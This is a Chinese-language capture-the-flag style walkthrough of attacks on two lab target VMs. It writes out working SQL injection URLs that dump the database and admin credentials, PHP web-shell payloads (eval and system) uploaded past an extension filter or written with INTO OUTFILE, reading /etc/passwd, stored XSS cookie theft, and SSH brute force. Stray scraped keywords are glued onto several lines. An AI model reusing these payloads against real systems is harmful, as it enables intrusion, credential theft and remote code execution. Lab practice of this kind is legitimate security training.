1、sql注入靶机攻击php

首先搭建虚拟机 用kali扫描下当前网段netdiscover -r 192.168.2.0/24css

发现可疑ip地址192.168.2.129sql

并使用nmap扫描这个ip地址，发现其开放了ftp和http协议数据库

打开该虚拟机提供的网页，发现该网站使用url传参，可能存在sql注入点cookie

在id=1后加一个引号，网页报错 该网站存在sql注入漏洞ssh

使用order by语句试出网站后台数据库表的列数 当order by 5 时网页报错 所以该查询涉及到四列元素xss

使用联合查询 查看网页的显示位，获得显示位就能够显示数据库的名字 photoblog测试

http://192.168.2.129/cat.php?id=-2%20union%20select%201,database%20(),3,4网站

获得数据库名字 能够查询数据库中有那些表http://192.168.2.129/cat.php?id=-2%20union%20select%201,group_concat(table_name),3,4%20from%20information_schema.tables%20where%20table_schema=%27photoblog%27url

通常状况下users表对咱们有用

http://192.168.2.129/cat.php?id=-2%20union%20select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27

继续查询users表中列名，有变量名 id，login，password

查看users表中的数据：id=1 login=admin password=8efe310f9ab3efeae8d410a8e0166eb2

http://192.168.2.129/cat.php?id=-1%20union%20select%201,group_concat(id,0x23,login,0x23,password),3,4%20from%20users

MD5解密后，获得密码P4ssw0rd

登陆到管理员页面

尝试上传文件，<?php eval($_POST['a'])?>

发现nophp

改完后缀名发现，能够绕过，并上传成功

http://192.168.2.129/admin/uploads/123456.pHp

获得目录，菜刀链接

2.xss靶机攻击

nmap 扫描192.168.2.130发现靶机开着80端口和ssh协议

测试

有窗口弹出，证实存在漏洞

在靶机上留言

能够将任意登陆用户的cookie发送到指定ip 在指定 ip 接受 cookie 后能够伪形成登录者

登陆界面：使用密码和用户名进行登陆

获取到的cookie

使用cookie再次进行登陆：发现已经已admin的身份登陆进页面中。

进入管理界面后，发现博客编辑界面存在sql注入漏洞

http://192.168.2.130/admin/edit.php?id=4 union select 1,2,3,4

发现2和3能够显示出来。

http://192.168.2.130/admin/edit.php?id=0 union select 1,2,load_file("/etc/passwd"),4

能够读取passwd文件，可是不能读取shadow文件。

咱们尝试能不能建立一个文件。

在编辑页面发现错误提示中有/var/www/classes 目录，

尝试后发现/var/www/css 目录可写。

因而构造语句：

http://192.168.2.130/admin/edit.php?id=2%20union%20select%201,2,3,4%20into%20outfile%20%22/var/www/css/s.php%22

而后打开

http://192.168.2.130/css/s.php

说明s.php文件成功写入到/var/www/css 目录，下面将

写入z.php中，构造url为：

http://192.168.2.130/admin/edit.php?id=2%20union%20select%201,2,%22%3C?php%20system($_GET[%27c%27]);%20?%3E%22,4%20into%20outfile%20%22/var/www/css/z.php%22

访问z.php，并使用uname -a获取系统信息。能够远程执行命令。

下面写入一句话木马，构造url：

http://192.168.179.130/admin/edit.php?id=2%20union%20select%201,2,%22%3C?php%20@eval($_POST[%27chopper%27]);?%3E%22,4%20into%20outfile%20%22/var/www/css/dao.php%22

菜刀连接：

下面写入一句话木马，构造url：

http://192.168.2.130/admin/edit.php?id=2%20union%20select%201,2,%22%3C?php%20@eval($_POST[%27chopper%27]);?%3E%22,4%20into%20outfile%20%22/var/www/css/dao.php%22

菜刀连接：

发现机器开了ssh，所以用hydra爆破下：

ssh登录